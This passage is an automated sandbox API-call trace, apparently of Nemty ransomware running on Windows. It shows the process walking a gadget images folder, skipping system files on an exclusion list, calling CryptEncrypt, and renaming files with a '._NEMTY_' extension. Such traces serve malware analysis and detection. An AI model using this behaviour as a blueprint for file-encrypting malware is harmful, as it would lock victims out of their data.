| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0137.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glow.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glow.png", lpUsedDefaultChar=0x0) returned 8 [0137.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0137.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0137.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0137.364] Sleep (dwMilliseconds=0x5) [0137.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x58b93b0, dwHighDateTime=0x1d561e8)) [0137.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x58b93b0, dwHighDateTime=0x1d561e8)) [0137.403] GetLastError () returned 0x5 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0137.403] GetLastError () returned 0x5 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.403] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0137.403] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0137.403] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0137.403] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="gY343LFQgDpKQGF+RtIc9QqTCFz9WZIB9PMP5lphl2xobXpBljweCvdn0dyVvtxc\r\nx9tVRMlhviHEKL5mjFsPGPboxeXmsOc+G6rBBTUMRRnydLJFU74iDQvhDmcLTCxe\r\nE06LfExneSZEtqUuW16V9G+LPnl8PF1OXQpp7xF8BYY/c51I2klNPz/HPavYgcx3\r\nlAu9HoKzYVXeKJTWmptae3R3ws2fW8ed7lF2Pu5vLZ+r/hS5Pyp5fVlCBbncqrK8\r\npdhMVpPbDdfnA+ng5KYbHr/CE8H1a+dHkS+zweGtzhxWzDXp+eCrcu0NHcMT9H7i\r\nRq2sqhl/v1YlPW09T0Jmow==\r\n", pcchString=0x653e91c) returned 1 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0137.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0137.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0137.403] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.403] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0137.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0137.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.413] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.587] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0137.602] CloseHandle (hObject=0xffffffff) returned 0 [0137.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0137.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0137.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0137.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0137.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png._nemty_kgobjgd_")) returned 0 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0137.602] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b7eafd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b7eafd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5fda07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="hint_down.png", cAlternateFileName="")) returned 1 [0137.602] lstrcmpiW (lpString1="hint_down.png", lpString2=".") returned 1 [0137.602] lstrcmpiW (lpString1="hint_down.png", lpString2="..") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="...") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="windows") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="$RECYCLE.BIN") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="rsa") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="NTDETECT.COM") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="ntldr") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="MSDOS.SYS") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="IO.SYS") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="boot.ini") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="boot.ini") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="ntuser.dat") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="desktop.ini") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="CONFIG.SYS") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="RECYCLER") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="BOOTSECT.BAK") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="bootmgr") returned 1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="programdata") returned -1 [0137.603] lstrcmpiW (lpString1="hint_down.png", lpString2="appdata") returned 1 [0137.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0137.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_down.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_down.png", lpUsedDefaultChar=0x0) returned 13 [0137.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0137.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_down.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_down.png", lpUsedDefaultChar=0x0) returned 13 [0137.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0137.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_down.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_down.png", lpUsedDefaultChar=0x0) returned 13 [0137.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0137.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_down.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_down.png", lpUsedDefaultChar=0x0) returned 13 [0137.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0137.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0137.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0137.604] Sleep (dwMilliseconds=0x5) [0137.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x5aa8590, dwHighDateTime=0x1d561e8)) [0137.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x5aa8590, dwHighDateTime=0x1d561e8)) [0137.609] GetLastError () returned 0x5 [0137.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0137.609] GetLastError () returned 0x5 [0137.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0137.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0137.610] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0137.610] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0137.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0137.610] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="+1jehlbyCVIltSwgxnCAB00tepXVKLbaGTrDFs3mTjMBv51J868h9/iLEi/G8t2H\r\nWm1jh1UQ3Ni5jUXwZCW48vRlStTkwHWA56/XBhcZ4e+9Vb8NWmiSUoEwSwok2DnR\r\nXZdUCNk3i5+eJicfT8B8h/nSyjkCsfaZcQRBwryK/OOSBAPB2e1EKGC53eAEEI7M\r\noKIAYz7HeU8couRWemvOubVF64uOsJtsEhbne+9RToD2PE39++rKzrCT2FBl0mua\r\nZYKeum2QZZ3H2PX4d/CqmsG91llWlU0ShzWRNOn4Hs5K9L+8yt61DJRxYbo0mbml\r\nF8VZfQeNM6hS/7SMXIxtig==\r\n", pcchString=0x653e91c) returned 1 [0137.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0137.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0137.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 